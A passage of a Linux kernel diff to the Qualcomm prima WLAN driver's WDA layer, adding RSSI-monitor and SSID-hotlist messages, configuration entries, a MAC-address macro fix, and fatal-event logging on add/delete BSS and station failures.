SIR_HAL_HT40_OBSS_STOP_SCAN_IND @@ -1250,6 +1286,8 @@ tSirRetStatus uMacPostCtrlMsg(void* pSirGlobal, tSirMbMsg* pMb); #define WDA_SET_RTS_CTS_HTVHT SIR_HAL_SET_RTS_CTS_HTVHT #define WDA_MON_START_REQ SIR_HAL_MON_START_REQ #define WDA_MON_STOP_REQ SIR_HAL_MON_STOP_REQ +#define WDA_START_RSSI_MONITOR_REQ SIR_HAL_RSSI_MON_START_REQ +#define WDA_STOP_RSSI_MONITOR_REQ SIR_HAL_RSSI_MON_STOP_REQ tSirRetStatus wdaPostCtrlMsg(tpAniSirGlobal pMac, tSirMsgQ *pMsg); @@ -1267,10 +1305,11 @@ eHalStatus WDA_SetRegDomain(void * clientCtxt, v_REGDOMAIN_t regId, #define WDA_EXTSCAN_SET_BSSID_HOTLIST_RSP SIR_HAL_EXTSCAN_SET_BSS_HOTLIST_RSP #define WDA_EXTSCAN_RESET_BSSID_HOTLIST_REQ SIR_HAL_EXTSCAN_RESET_BSS_HOTLIST_REQ #define WDA_EXTSCAN_RESET_BSSID_HOTLIST_RSP SIR_HAL_EXTSCAN_RESET_BSS_HOTLIST_RSP -#define WDA_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ SIR_HAL_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ -#define WDA_EXTSCAN_SET_SIGNF_RSSI_CHANGE_RSP SIR_HAL_EXTSCAN_SET_SIGNF_RSSI_CHANGE_RSP -#define WDA_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ SIR_HAL_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ -#define WDA_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_RSP SIR_HAL_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_RSP +#define WDA_EXTSCAN_SET_SSID_HOTLIST_REQ SIR_HAL_EXTSCAN_SET_SSID_HOTLIST_REQ +#define WDA_EXTSCAN_SET_SSID_HOTLIST_RSP SIR_HAL_EXTSCAN_SET_SSID_HOTLIST_RSP +#define WDA_EXTSCAN_RESET_SSID_HOTLIST_REQ SIR_HAL_EXTSCAN_RESET_SSID_HOTLIST_REQ +#define WDA_EXTSCAN_RESET_SSID_HOTLIST_RSP SIR_HAL_EXTSCAN_RESET_SSID_HOTLIST_RSP + #define WDA_EXTSCAN_GET_CACHED_RESULTS_REQ SIR_HAL_EXTSCAN_GET_CACHED_RESULTS_REQ #define WDA_EXTSCAN_GET_CACHED_RESULTS_RSP SIR_HAL_EXTSCAN_GET_CACHED_RESULTS_RSP @@ -1278,7 +1317,7 @@ eHalStatus WDA_SetRegDomain(void * clientCtxt, v_REGDOMAIN_t regId, #define WDA_EXTSCAN_SCAN_AVAILABLE_IND SIR_HAL_EXTSCAN_SCAN_AVAILABLE_IND #define WDA_EXTSCAN_SCAN_RESULT_IND SIR_HAL_EXTSCAN_SCAN_RESULT_IND #define WDA_EXTSCAN_BSSID_HOTLIST_RESULT_IND SIR_HAL_EXTSCAN_HOTLIST_MATCH_IND -#define WDA_EXTSCAN_SIGNF_RSSI_RESULT_IND SIR_HAL_EXTSCAN_SIGNF_WIFI_CHANGE_IND +#define WDA_EXTSCAN_SSID_HOTLIST_RESULT_IND SIR_HAL_EXTSCAN_SSID_HOTLIST_MATCH_IND #endif /* WLAN_FEATURE_EXTSCAN */ #define WDA_SPOOF_MAC_ADDR_REQ SIR_HAL_SPOOF_MAC_ADDR_REQ @@ -1292,6 +1331,24 @@ eHalStatus WDA_SetRegDomain(void * clientCtxt, v_REGDOMAIN_t regId, #define WDA_SEND_FREQ_RANGE_CONTROL_IND SIR_HAL_SEND_FREQ_RANGE_CONTROL_IND +#ifdef WLAN_FEATURE_EXTSCAN +#define WDA_HIGH_PRIORITY_DATA_INFO_IND SIR_HAL_HIGH_PRIORITY_DATA_INFO_IND +#endif /* WLAN_FEATURE_EXTSCAN */ + +#define WDA_FW_MEM_DUMP_REQ SIR_HAL_FW_MEM_DUMP_REQ + +#define WDA_WIFI_CONFIG_REQ SIR_HAL_WIFI_CONFIG_PARAMS + +#define WDA_ANTENNA_DIVERSITY_SELECTION_REQ SIR_HAL_ANTENNA_DIVERSITY_SELECTION_REQ +#ifdef FEATURE_OEM_DATA_SUPPORT +#define WDA_START_OEM_DATA_REQ_IND_NEW SIR_HAL_START_OEM_DATA_REQ_IND_NEW +#define WDA_START_OEM_DATA_RSP_IND_NEW SIR_HAL_START_OEM_DATA_RSP_IND_NEW +#endif + +#define WDA_MODIFY_ROAM_PARAMS_IND SIR_HAL_MODIFY_ROAM_PARAMS_IND +#define WDA_SET_ALLOWED_ACTION_FRAMES_IND SIR_HAL_SET_ALLOWED_ACTION_FRAMES + +#define WDA_PAUSE_TL_IND SIR_HAL_PAUSE_TL_IND #define HAL_USE_BD_RATE2_FOR_MANAGEMENT_FRAME 0x40 // Bit 6 will be used to control BD rate for Management frames @@ -2108,5 +2165,8 @@ void WDA_TrafficStatsTimerActivate(wpt_boolean activate); void WDA_SetEnableSSR(v_BOOL_t enableSSR); -void WDA_FWLoggingDXEdoneInd(void); +void WDA_FWLoggingDXEdoneInd(v_U32_t logType); + +void WDA_SetMgmtPktViaWQ5(v_BOOL_t sendMgmtPktViaWQ5); + #endif diff --git a/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c b/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c index 6e506517aa825..8a4af1ac56d4e 100644 --- a/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c +++ b/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -131,11 +131,13 @@ #define WDA_WAIT_MSEC_TILL_RING_EMPTY 10 /* 10 msec wait per cycle */ #define WDA_IS_NULL_MAC_ADDRESS(mac_addr) \ ((mac_addr[0] == 0x00) && (mac_addr[1] == 0x00) && (mac_addr[2] == 0x00) &&\ - (mac_addr[1] == 0x00) && (mac_addr[2] == 0x00) && (mac_addr[3] == 0x00)) + (mac_addr[3] == 0x00) && (mac_addr[4] == 0x00) && (mac_addr[5] == 0x00)) #define WDA_MAC_ADDR_ARRAY(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5] #define WDA_MAC_ADDRESS_STR "%02x:%02x:%02x:%02x:%02x:%02x" #define WDA_DUMPCMD_WAIT_TIMEOUT 10000 +#define WDA_BA_MAX_RETRY_THRESHOLD 10 +#define WDA_BA_RETRY_TIME 300000 /* Time is in msec, equal to 5 mins */ /* extern declarations */ extern void vos_WDAComplete_cback(v_PVOID_t pVosContext); @@ -160,6 +162,7 @@ void WDA_lowLevelIndCallback(WDI_LowLevelIndType *wdiLowLevelInd, void* pUserData ) ; static VOS_STATUS wdaCreateTimers(tWDA_CbContext *pWDA) ; static VOS_STATUS wdaDestroyTimers(tWDA_CbContext *pWDA); +bool WDA_AllowAddBA(tpAniSirGlobal pMAc, tANI_U8 staId, tANI_U8 tid); void WDA_BaCheckActivity(tWDA_CbContext *pWDA) ; void WDA_TimerTrafficStatsInd(tWDA_CbContext *pWDA); void WDA_HALDumpCmdCallback(WDI_HALDumpCmdRspParamsType *wdiRspParams, void* pUserData); @@ -177,7 +180,11 @@ static VOS_STATUS WDA_ProcessUpdateScanParams(tWDA_CbContext *pWDA, tSirUpdateSc #endif // FEATURE_WLAN_SCAN_PNO #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD VOS_STATUS WDA_ProcessRoamScanOffloadReq(tWDA_CbContext *pWDA,tSirRoamOffloadScanReq *pRoamOffloadScanReqParams); +VOS_STATUS WDA_ProcessPERRoamScanOffloadReq(tWDA_CbContext *pWDA, + tSirPERRoamOffloadScanReq *pPERRoamOffloadScanReqParams); void WDA_RoamOffloadScanReqCallback(WDI_Status status, void* pUserData); +void WDA_PERRoamOffloadScanReqCallback(WDI_Status status, void* pUserData); +void WDA_PERRoamTriggerScanReqCallback(WDI_Status status, void* pUserData); void WDA_ConvertSirAuthToWDIAuth(WDI_AuthType *AuthType, v_U8_t csrAuthType); void WDA_ConvertSirEncToWDIEnc(WDI_EdType *EncrType, v_U8_t csrEncrType); #endif @@ -227,6 +234,11 @@ VOS_STATUS WDA_ProcessLPHBConfReq(tWDA_CbContext *pWDA, tSirLPHBReq *pData); #endif /* FEATURE_WLAN_LPHB */ +#ifdef WLAN_FEATURE_RMC +void WDA_IBSSPeerInfoRequestHandler(v_PVOID_t pVosContext, + v_PVOID_t pData); +#endif /* WLAN_FEATURE_RMC */ + #ifdef WLAN_FEATURE_EXTSCAN VOS_STATUS WDA_ProcessEXTScanStartReq(tWDA_CbContext *pWDA, tSirEXTScanStartReqParams *wdaRequest); @@ -240,10 +252,12 @@ VOS_STATUS WDA_ProcessEXTScanSetBSSIDHotlistReq(tWDA_CbContext *pWDA, tSirEXTScanSetBssidHotListReqParams *wdaRequest); VOS_STATUS WDA_ProcessEXTScanResetBSSIDHotlistReq(tWDA_CbContext *pWDA, tSirEXTScanResetBssidHotlistReqParams *wdaRequest); -VOS_STATUS WDA_ProcessEXTScanSetSignfRSSIChangeReq(tWDA_CbContext *pWDA, - tSirEXTScanSetSignificantChangeReqParams *wdaRequest); -VOS_STATUS WDA_ProcessEXTScanResetSignfRSSIChangeReq(tWDA_CbContext *pWDA, - tSirEXTScanResetSignificantChangeReqParams *wdaRequest); +VOS_STATUS WDA_ProcessEXTScanSetSSIDHotlistReq(tWDA_CbContext *pWDA, + tSirEXTScanSetSsidHotListReqParams *wdaRequest); +VOS_STATUS WDA_ProcessEXTScanResetSSIDHotlistReq(tWDA_CbContext *pWDA, + tSirEXTScanResetSsidHotlistReqParams *wdaRequest); +VOS_STATUS WDA_ProcessHighPriorityDataInfoInd(tWDA_CbContext *pWDA, + tSirHighPriorityDataInfoInd *wdaRequest); #endif /* WLAN_FEATURE_EXTSCAN */ #ifdef WLAN_FEATURE_LINK_LAYER_STATS @@ -266,10 +280,26 @@ VOS_STATUS WDA_ProcessSetRtsCtsHTVhtInd(tWDA_CbContext *pWDA, tANI_U32 val); +VOS_STATUS +WDA_ProcessFwrMemDumpReq(tWDA_CbContext *pWDA, + tAniFwrDumpReq* pFwrMemDumpReq); VOS_STATUS WDA_ProcessMonStartReq( tWDA_CbContext *pWDA, void* wdaRequest); VOS_STATUS WDA_ProcessMonStopReq( tWDA_CbContext *pWDA, void* wdaRequest); VOS_STATUS WDA_ProcessEnableDisableCAEventInd(tWDA_CbContext *pWDA, tANI_U8 val); + +VOS_STATUS WDA_ProcessWifiConfigReq(tWDA_CbContext *pWDA, + tSetWifiConfigParams *pwdaWificonfig); + +VOS_STATUS WDA_ProcessStartOemDataReqIndNew(tWDA_CbContext *pWDA, + tOemDataReqNewConfig *pOemDataReqNewConfig); + + +v_VOID_t WDA_ProcessAntennaDiversitySelectionReq(tWDA_CbContext *pWDA, + tSirAntennaDiversitySelectionReq *pData); + +VOS_STATUS WDA_ProcessBcnMissPenaltyCount(tWDA_CbContext *pWDA, + tModifyRoamParamsReqParams *params); /* * FUNCTION: WDA_ProcessNanRequest * Process NAN request @@ -334,7 +364,49 @@ VOS_STATUS WDA_ProcessNanRequest(tWDA_CbContext *pWDA, return CONVERT_WDI2VOS_STATUS(status) ; } +/** + * wda_state_info_dump() - prints state information of wda layer + */ +static void wda_state_info_dump(void) +{ + v_CONTEXT_t vos_ctx_ptr = NULL; + tWDA_CbContext *wda = NULL ; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s " ,__func__); + + /* Get the Global VOSS Context */ + vos_ctx_ptr = vos_get_global_context(VOS_MODULE_ID_VOSS, NULL); + + if (NULL != vos_ctx_ptr) + wda = (tWDA_CbContext *)vos_get_context( VOS_MODULE_ID_WDA, + vos_ctx_ptr ); + else { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_FATAL, + "%s: Invalid Global VOSS Context", __func__); + VOS_ASSERT(0); + return; + } + + if (NULL != wda) + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "wdaState: %d linkState: %d", wda->wdaState, + wda->linkState); + else { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Invalid WDA Context", __func__); + VOS_ASSERT(0); + } +} +/** + * wda_register_debug_callback() - registration function for wda layer + * to print wda state information + */ +static void wda_register_debug_callback(void) +{ + vos_register_debug_callback(VOS_MODULE_ID_WDA, &wda_state_info_dump); +} /* * FUNCTION: WDA_open @@ -362,7 +434,8 @@ VOS_STATUS WDA_open(v_PVOID_t pVosContext, v_PVOID_t devHandle, wdaContext->pVosContext = pVosContext; wdaContext->wdaState = WDA_INIT_STATE; wdaContext->uTxFlowMask = WDA_TXFLOWMASK; - + vos_lock_init(&wdaContext->mgmt_pkt_lock); + /* Initialize WDA-WDI synchronization event */ status = vos_event_init(&wdaContext->wdaWdiEvent); if(!VOS_IS_STATUS_SUCCESS(status)) @@ -414,6 +487,9 @@ VOS_STATUS WDA_open(v_PVOID_t pVosContext, v_PVOID_t devHandle, */ wdaContext->frameTransRequired = wdiDevCapability.bFrameXtlSupported; } + + wda_register_debug_callback(); + return status; error: @@ -1613,9 +1689,40 @@ VOS_STATUS WDA_prepareConfigTLV(v_PVOID_t pVosContext, "Failed to get value for WNI_CFG_ENABLE_LPWR_IMG_TRANSITION"); goto handle_failure; } - - tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct - + sizeof(tHalCfg) + tlvStruct->length) ; + + tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + + sizeof(tHalCfg) + tlvStruct->length); + + /* QWLAN_HAL_CFG_CONS_BCNMISS_COUNT */ + tlvStruct->type = QWLAN_HAL_CFG_CONS_BCNMISS_COUNT; + tlvStruct->length = sizeof(tANI_U32); + configDataValue = (tANI_U32 *)(tlvStruct + 1); + if(wlan_cfgGetInt(pMac, WNI_CFG_ENABLE_CONC_BMISS, configDataValue) + != eSIR_SUCCESS) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failed to get value for WNI_CFG_ENABLE_CONC_BMISS"); + goto handle_failure; + } + + tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + + sizeof(tHalCfg) + tlvStruct->length); + + /* QWLAN_HAL_CFG_UNITS_OF_BCN_WAIT_TIME */ + tlvStruct->type = QWLAN_HAL_CFG_UNITS_OF_BCN_WAIT_TIME; + tlvStruct->length = sizeof(tANI_U32); + configDataValue = (tANI_U32 *)(tlvStruct + 1); + if(wlan_cfgGetInt(pMac, WNI_CFG_ENABLE_UNITS_BWAIT, configDataValue) + != eSIR_SUCCESS) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failed to get value for WNI_CFG_ENABLE_UNITS_BWAIT"); + goto handle_failure; + } + + tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + + sizeof(tHalCfg) + tlvStruct->length); + #ifdef WLAN_SOFTAP_VSTA_FEATURE tlvStruct->type = QWLAN_HAL_CFG_MAX_ASSOC_LIMIT; tlvStruct->length = sizeof(tANI_U32); @@ -2247,6 +2354,20 @@ VOS_STATUS WDA_prepareConfigTLV(v_PVOID_t pVosContext, tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + sizeof(tHalCfg) + tlvStruct->length) ; + /* QWLAN_HAL_CFG_TOGGLE_ARP_BDRATES */ + tlvStruct->type = QWLAN_HAL_CFG_TOGGLE_ARP_BDRATES; + tlvStruct->length = sizeof(tANI_U32); + configDataValue = (tANI_U32 *)(tlvStruct + 1); + + if (wlan_cfgGetInt(pMac, WNI_CFG_TOGGLE_ARP_BDRATES, + configDataValue ) != eSIR_SUCCESS) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failed to get value for WNI_CFG_TOGGLE_ARP_BDRATES"); + goto handle_failure; + } + tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + + sizeof(tHalCfg) + tlvStruct->length) ; /* QWLAN_HAL_CFG_OPTIMIZE_CA_EVENT */ tlvStruct->type = QWLAN_HAL_CFG_OPTIMIZE_CA_EVENT ; tlvStruct->length = sizeof(tANI_U32); @@ -2261,52 +2382,51 @@ VOS_STATUS WDA_prepareConfigTLV(v_PVOID_t pVosContext, tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + sizeof(tHalCfg) + tlvStruct->length) ; - /* QWLAN_HAL_CFG_TOGGLE_ARP_BDRATES */ - tlvStruct->type = QWLAN_HAL_CFG_TOGGLE_ARP_BDRATES; + /* QWLAN_HAL_CFG_EXT_SCAN_CONC_MODE */ + tlvStruct->type = QWLAN_HAL_CFG_EXT_SCAN_CONC_MODE ; tlvStruct->length = sizeof(tANI_U32); configDataValue = (tANI_U32 *)(tlvStruct + 1); - if (wlan_cfgGetInt(pMac, WNI_CFG_TOGGLE_ARP_BDRATES, + if (wlan_cfgGetInt(pMac, WNI_CFG_EXT_SCAN_CONC_MODE, configDataValue ) != eSIR_SUCCESS) { VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, - "Failed to get value for WNI_CFG_TOGGLE_ARP_BDRATES"); + "Failed to get value for WNI_CFG_EXT_SCAN_CONC_MODE"); goto handle_failure; } tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + sizeof(tHalCfg) + tlvStruct->length) ; - /* QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE */ - tlvStruct->type = QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE; + /* QWLAN_HAL_CFG_BAR_WAKEUP_HOST_DISABLE */ + tlvStruct->type = QWLAN_HAL_CFG_BAR_WAKEUP_HOST_DISABLE; tlvStruct->length = sizeof(tANI_U32); configDataValue = (tANI_U32 *)(tlvStruct + 1); - if (wlan_cfgGetInt(pMac, WNI_CFG_SAR_BOFFSET_SET_CORRECTION, + if (wlan_cfgGetInt(pMac, WNI_CFG_DISABLE_BAR_WAKE_UP_HOST, configDataValue ) != eSIR_SUCCESS) { VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, - "Failed to get value for WNI_CFG_SAR_BOFFSET_SET_CORRECTION"); + "Failed to get value for WNI_CFG_DISABLE_BAR_WAKE_UP_HOST"); goto handle_failure; } tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + sizeof(tHalCfg) + tlvStruct->length) ; - /* QWLAN_HAL_CFG_BAR_WAKEUP_HOST_DISABLE */ - tlvStruct->type = QWLAN_HAL_CFG_BAR_WAKEUP_HOST_DISABLE; + /* QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE */ + tlvStruct->type = QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE; tlvStruct->length = sizeof(tANI_U32); configDataValue = (tANI_U32 *)(tlvStruct + 1); - if (wlan_cfgGetInt(pMac, WNI_CFG_DISABLE_BAR_WAKE_UP_HOST, + if (wlan_cfgGetInt(pMac, WNI_CFG_SAR_BOFFSET_SET_CORRECTION, configDataValue ) != eSIR_SUCCESS) { - VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, - "Failed to get value for WNI_CFG_DISABLE_BAR_WAKE_UP_HOST"); - goto handle_failure; + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failed to get value for WNI_CFG_SAR_BOFFSET_SET_CORRECTION"); + goto handle_failure; } tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + sizeof(tHalCfg) + tlvStruct->length) ; - wdiStartParams->usConfigBufferLen = (tANI_U8 *)tlvStruct - tlvStructStart ; #ifdef WLAN_DEBUG { @@ -2556,6 +2676,9 @@ VOS_STATUS WDA_close(v_PVOID_t pVosContext) "VOS Event destroy failed - status = %d", status); status = VOS_STATUS_E_FAILURE; } + + vos_lock_destroy(&wdaContext->mgmt_pkt_lock); + /* free WDA context */ vstatus = vos_free_context(pVosContext, VOS_MODULE_ID_WDA, wdaContext); if ( !VOS_IS_STATUS_SUCCESS(vstatus) ) @@ -2564,6 +2687,7 @@ VOS_STATUS WDA_close(v_PVOID_t pVosContext) "error in WDA close " ); status = VOS_STATUS_E_FAILURE; } + return status; } /* @@ -3824,6 +3948,16 @@ void WDA_ConfigBssRspCallback(WDI_ConfigBSSRspParamsType *wdiConfigBssRsp configBssReqParam->txMgmtPower = wdiConfigBssRsp->ucTxMgmtPower; #endif } + else + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Failure with status %d", __func__, + wdiConfigBssRsp->wdiStatus); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ADD_BSS_STA_FAIL, + FALSE, TRUE); + } vos_mem_zero(pWdaParams->wdaWdiApiMsgParam, sizeof(WDI_ConfigBSSReqParamsType)); vos_mem_free(pWdaParams->wdaWdiApiMsgParam); @@ -3874,6 +4008,10 @@ void WDA_ConfigBssReqCallback(WDI_Status wdiStatus, { vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams) ; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ADD_BSS_STA_FAIL, + FALSE, TRUE); WDA_SendMsg(pWDA, WDA_ADD_BSS_RSP, (void *)addBssParams , 0); } @@ -4106,6 +4244,16 @@ void WDA_AddStaRspCallback(WDI_ConfigSTARspParamsType *wdiConfigStaRsp, return ; } } + else + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Failure with status %d", __func__, + wdiConfigStaRsp->wdiStatus); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ADD_BSS_STA_FAIL, + FALSE, TRUE); + } vos_mem_free(pWdaParams->wdaWdiApiMsgParam) ; vos_mem_free(pWdaParams) ; WDA_SendMsg(pWDA, WDA_ADD_STA_RSP, (void *)addStaReqParam, 0) ; @@ -4139,6 +4287,10 @@ void WDA_AddStaReqCallback(WDI_Status wdiStatus, { vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams) ; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ADD_BSS_STA_FAIL, + FALSE, TRUE); WDA_SendMsg(pWDA, WDA_ADD_STA_RSP, (void *)addStaParams , 0); } @@ -4229,6 +4381,16 @@ void WDA_DelBSSRspCallback(WDI_DelBSSRspParamsType *wdiDelBssRsp, vos_mem_copy(delBssReqParam->bssid, wdiDelBssRsp->macBSSID, sizeof(tSirMacAddr)) ; } + else + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Failure with status %d", __func__, + wdiDelBssRsp->wdiStatus); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_DEL_BSS_STA_FAIL, + FALSE, TRUE); + } if(WDI_DS_GetStaIdxFromBssIdx(pWDA->pWdiContext, delBssReqParam->bssIdx, &staIdx)) { VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, @@ -4270,6 +4432,7 @@ void WDA_DelBSSRspCallback(WDI_DelBSSRspParamsType *wdiDelBssRsp, } } } + WDA_SendMsg(pWDA, WDA_DELETE_BSS_RSP, (void *)delBssReqParam , 0) ; return ; } @@ -4301,6 +4464,10 @@ void WDA_DelBSSReqCallback(WDI_Status wdiStatus, { vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams) ; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_DEL_BSS_STA_FAIL, + FALSE, TRUE); WDA_SendMsg(pWDA, WDA_DELETE_BSS_RSP, (void *)delbssParams , 0) ; } @@ -4393,6 +4560,16 @@ void WDA_DelSTARspCallback(WDI_DelSTARspParamsType *wdiDelStaRsp, delStaReqParam->staIdx = wdiDelStaRsp->ucSTAIdx ; WLANTL_StartForwarding(delStaReqParam->staIdx,0,0); } + else + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Failure with status %d", __func__, + wdiDelStaRsp->wdiStatus); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_DEL_BSS_STA_FAIL, + FALSE, TRUE); + } vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams) ; /*Reset the BA information corresponding to this STAIdx */ @@ -4431,6 +4608,10 @@ void WDA_DelSTAReqCallback(WDI_Status wdiStatus, { vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams) ; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_DEL_BSS_STA_FAIL, + FALSE, TRUE); WDA_SendMsg(pWDA, WDA_DELETE_STA_RSP, (void *)delStaParams , 0) ; } @@ -4518,6 +4699,14 @@ void WDA_ProcessAddStaSelfRspCallback(WDI_AddSTASelfRspParamsType* pwdiAddSTASel { pWDA->wdaAddSelfStaParams.wdaAddSelfStaFailReason = WDA_ADDSTA_RSP_WDI_FAIL; pWDA->wdaAddSelfStaParams.wdiAddStaSelfStaFailCounter++; + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Failure with status %d failcnter %d", __func__, + pwdiAddSTASelfRsp->wdiStatus, + pWDA->wdaAddSelfStaParams.wdiAddStaSelfStaFailCounter); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ADD_BSS_STA_FAIL, + FALSE, TRUE); } WDA_SendMsg( pWDA, WDA_ADD_STA_SELF_RSP, (void *)pAddStaSelfRsp, 0) ; return ; @@ -4553,6 +4742,14 @@ void WDA_ProcessAddStaSelfReqCallback(WDI_Status wdiStatus, pWDA->wdaAddSelfStaParams.wdaAddSelfStaFailReason = WDA_ADDSTA_REQ_WDI_FAIL; pWDA->wdaAddSelfStaParams.wdiAddStaSelfStaFailCounter++; + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Failure with status %d failcnter %d", __func__, + wdiStatus, + pWDA->wdaAddSelfStaParams.wdiAddStaSelfStaFailCounter); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ADD_BSS_STA_FAIL, + FALSE, TRUE); WDA_SendMsg(pWDA, WDA_ADD_STA_SELF_RSP, (void *)addStaSelfParams , 0); } @@ -4648,7 +4845,16 @@ void WDA_DelSTASelfRespCallback(WDI_DelSTASelfRspParamsType * vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams) ; - + if (WDI_STATUS_SUCCESS != delStaSelfParams->status) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Failure with status %d", __func__, + wdiDelStaSelfRspParams->wdiStatus); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_DEL_BSS_STA_FAIL, + FALSE, TRUE); + } WDA_SendMsg(pWDA, WDA_DEL_STA_SELF_RSP, (void *)delStaSelfParams , 0) ; return ; } @@ -4685,6 +4891,10 @@ void WDA_DelSTASelfReqCallback(WDI_Status wdiStatus, VOS_ASSERT(0); vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams) ; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_DEL_BSS_STA_FAIL, + FALSE, TRUE); WDA_SendMsg(pWDA, WDA_DEL_STA_SELF_RSP, (void *)delStaSelfParams , 0) ; } @@ -5126,6 +5336,10 @@ static inline v_U8_t WDA_ConvertWniCfgIdToHALCfgId(v_U32_t wniCfgId) return QWLAN_HAL_CFG_ENABLE_CLOSE_LOOP; case WNI_CFG_ENABLE_LPWR_IMG_TRANSITION: return QWLAN_HAL_CFG_ENABLE_LPWR_IMG_TRANSITION; + case WNI_CFG_ENABLE_CONC_BMISS: + return QWLAN_HAL_CFG_CONS_BCNMISS_COUNT; + case WNI_CFG_ENABLE_UNITS_BWAIT: + return QWLAN_HAL_CFG_UNITS_OF_BCN_WAIT_TIME; case WNI_CFG_ENABLE_RTSCTS_HTVHT: return QWLAN_HAL_CFG_ENABLE_RTSCTS_HTVHT; default: @@ -5523,6 +5737,109 @@ void WDA_GetFrameLogRspCallback(WDI_GetFrameLogRspParamType* wdiRsp, return ; } + +/* + * FUNCTION: WDA_RssiMonitorStopRspCallback + * recieves Rssi Monitor stop response from FW + */ +void 